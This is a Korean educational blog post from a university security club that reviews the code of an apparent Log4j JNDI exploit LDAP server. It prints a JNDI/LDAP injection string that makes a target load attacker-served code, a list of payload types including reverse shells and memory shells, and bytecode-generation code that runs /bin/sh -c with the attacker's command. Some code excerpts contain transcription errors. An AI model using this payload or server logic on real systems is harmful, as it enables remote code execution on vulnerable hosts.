[log4j 코드리뷰] LDAP에 대해

이상·2022년 9월 15일
0

log4j 총정리보고서

목록 보기
3/6
post-thumbnail

LDAP란?

LDAP란 Lightweight Directory Access Protocol의 약자로, 디렉토리 서버를 조회하고 수정하기 위한 프로토콜이다. LDAP는 X.500 디렉토리 서비스에 접근하기 위한 표준 프로토콜인 DAP의 경량화된 버전이다. 일반적으로 LDAP를 이용하려면 사용자의 장치에 LDAP 클라이언트가 설치되어있어야하며, 이 클라이언트는 LDAP 디렉토리 서버와 상호작용을 할 때 사용된다. 사용자가 클라이언트를 이용해 LDAP 디렉토리 서버와 보안연결을 설정하고 검색 쿼리를 보내면, LDAP 디렉토리 서버는 사용자를 인증하고, 요청한 결과를 디렉토리 서버가 반환하는 방식으로 작동된다.

원래 사용용도

LDAP는 중요한 정보 및 리소스에 대한 보안 접근을 단순화하는 표준 프로토콜이다. 사용자는 리소스에 대한 정보를 담고있는 디렉토리 서버를 통해 각종 작업을 효율적이고 안전하게 수행할 수 있다.

LDAP 서버 코드리뷰

jndi:ldap://192.168.0.129:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=

공격쿼리가 Base64로 인코딩된 경우를 보면, /Basic 뒤에 Command가 있는 것을 알 수 있다.

package com.feihong.ldap.enumtypes;
public enum PayloadType {command, dnslog, reverseshell, tomcatecho, springecho, weblogicecho, tomcatmemshell1, tomcatmemshel12, weblogicmemshelll, weblogicmemshel12, jettymemshell, jbossmemshell, webspherememshell, springmemshe;}

PayloadType은 다음과 같고, 이 중 command인 경우를 살펴보고자 한다.

@LdapMapping (uri = {"/basic"}) // uri가 /basic인 경우를 다룸
public class Basic Controller implements LdapController {
	private String codebase= Config.codeBase;

	private PayloadType type; 

	private String[] params;

	public void send Result (InMemoryIntercepted Search Result result, String base) throws Exception { // 오류는 Exception에서 처리
		DnslogTemplate dnslogTemplate;
		CommandTemplate commandTemplate;
		ReverseShellTemplate reverseShellTemplate;
		System.out.println("[+] Sending LDAP ResourceRef result for " + base + "with basic remote reference payload");
		Entry e = new Entry(base);
		String className = "";
		switch (this.type) { //우리가 다루는 경우에서 type는 PayloadType 중 하나인 command
			case dnslog:
				dnslogTemplate = new DnslogTemplate(this.params[0]);
				dnslogTemplate.cache();
				className = dnslogTemplate.getClassName();
				break;
			case command: 
				commandTemplate = new CommandTemplate(this.params[0]); 
				commandTemplate.cache(); // 데이터를 저장
				className = commandTemplate.getClassName();
				break;
			case reverseshell:
				reverseShellTemplate = new ReverseShellTemplate(this.params[0], this.params[1]);
				reverseShellTemplate.cache();
				className = reverseShellTemplate.getClassName();
				break;

위 상황에서 case가 command인 부분을 살펴보면, CommandTemplate()를 호출하여 commandTemplate에 저장한 다음, commandTemplate 객체의 getClassName()을 호출하여 className에 저장한다는 것을 알 수 있다.

public class CommandTemplate implements Template {
	private String className;
	private byte[] bytes;
	private String cmd;

	public CommandTemplate(String cmd) { // 이 메소드가 실행된다
		this.cmd= cmd;
		this.className = "Exploit" + Util.getRandomString(); // getRandomString()은 랜덤한 문자열을 반환한다
		generate();
}
	public CommandTemplate(String cmd, String className) { // 메소드 Overloading에 의해 바로 위 메소드와 동일한 이름의 메소드가 정의되었다. 파라미터가 두 개이므로 이 메소드는 호출되지 않는다.
		this.cmd= cmd;
		this.className = className;
		generate();
}
	public void cache() {
		Cache.set(this.className, this.bytes);
}
	public String getClassName() {
		return this.className;
}
	public byte[] getBytes() {
		return this.bytes;
}

CommandTemplate()를 살펴보면, CommandTemplate() 객체의 cmd 속성에 cmd 매개변수의 값이 입력되고, className에는 ‘Exploit + 랜덤문자열’이 저장되고 있다는 사실을 알 수 있다. generate() 메소드도 호출된다.

또 GetClassName을 보면, 이렇게 저장된 className의 값이 반환되고 있다는 사실을 알 수 있다.

public void generate() {
	ClassWriter cw = new ClassWriter(0); // ClassWriter 인스턴스를 생성한다, ClassWriter은 혼자 쓰일 경우 class를 새롭게 생성할 수 있다
	cw.visit(50,33,this.className,null,"com/sun/org/apache/xalan/internal/xsltc/runtime/Abstract Translet", null);
	FieldVisitor fv = cw.visitField(10, "cmd", "Ljava/lang/String;", null, null);
	fv.visitEnd();
	MethodVisitor mv = cw.visitMethod(1, "<init>", "()V", null, null);
	mv.visitCode();
	Label 10
	new Label();
	Label 11 = new Label();
	Label 12 = new Label();
	mv.visitTryCatchBlock(10, 11, 12, "java/io/IOException");
	mv.visitVarInsn (25, 0);
	mv.visitMethodInsn(183, "com/sun/org/apache/xalan/internal/xsltc/runtime/Abstract Translet", "<init>", "()V", false);
	mv.visitFieldInsn(178, "java/io/File", "separator", "Ljava/lang/String; ");
	mv.visitLdcInsn("/");
	mv.visitMethodInsn(182, "java/lang/String", "equals", "(Ljava/lang/Object;) Z", false);
	Label 13 = new Label();
	mv.visitJumpInsn(153, 13);
	mv.visitInsn(6);
	mv.visitTypeInsn(189, "java/lang/String");
	mv.visitInsn(89);
	mv.visitInsn(3);
	mv.visitLdcInsn("/bin/sh");
	mv.visitInsn(83);
	mv.visitInsn(89);
	mv.visitInsn(4);
	mv.visitLdcInsn("-c");
	mv.visitInsn(83);
	mv.visitInsn(89);
	mv.visitInsn(5);
	mv.visitFieldInsn(178, this.className, "cmd", "Ljava/lang/String;");
	mv.visitInsn(83);
	mv.visitVarInsn(58, 1);
	mv.visitJumpInsn(167, 10);
	mv.visitLabel(13);
	mv.visitFrame(0, 1, new Object[] { this.className}, 0, new Object [0]);
	mv.visitInsn(6);

generate() 메소드는 BCI(Byte Code Injection) 기법으로 구현되었다. BCI 기법은 소스 코드의 수정 없이, byte code에 직접 수정을 가함으로써 원하는 기능을 부여할 수 있는 기법이다.

/bin/sh -c {string} 은 string을 실행할 수 있는 명령어이다.

public static String getCmdFromBase(String base) throws Exception { // Exception 메소드에 예외처리
	int firstIndex = base.lastIndexOf("/"); // base 변수에서 '/' 문자가 마지막으로 있는 위치를 나타내는 값을 firstIndex에 저장한다 
	String cmd = base.substring(firstIndex + 1); // base 변수에서 firstIndex + 1 위치의 글자부터 마지막 글자까지 cmd에 저장한다(Base64로 인코딩된 부분)
	int secondIndex = base.lastIndexOf("/", firstIndex - 1); // base 변수에서, firstIndex - 1 이전의 있는 글자 중에서, '/' 문자가 마지막으로 있는 위치를 나타내는 값을 secondIndex에 저장한다 
	if (secondIndex < 0) // lastIndexOf는 찾고자 하는 문자가 없을 경우 -1을 반환하므로, 이 경우에는 secondIndex를 0으로 설정한다
		secondIndex = 0;
	if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { // 마지막 두 '/' 문자 사이에 있는 글자가 base64일 경우(대소문자는 무시)
		byte[] bytes = base64Decode(cmd); // base64Decode는 base64로 인코딩된 문자열을 decode하는 함수
		cmd = new String(bytes);
	}
	return cmd;
}

getCmdFromBase() 메소드에서는 Base64로 인코딩한 부분을 cmd에 저장하고, base64decode() 메소드를 통해 cmd를 디코딩하며, 디코딩한 cmd를 반환함으로써 bin/sh -c {명령}을 실행하는 class에서 명령 부분이 작성되도록 한다. 이를 통해, 해당 class를 다운받은 다른 디바이스에서 명령이 실행될 수 있게 된다.

profile
중앙대학교 산업보안학과 정보보호동아리 이상입니다.

0개의 댓글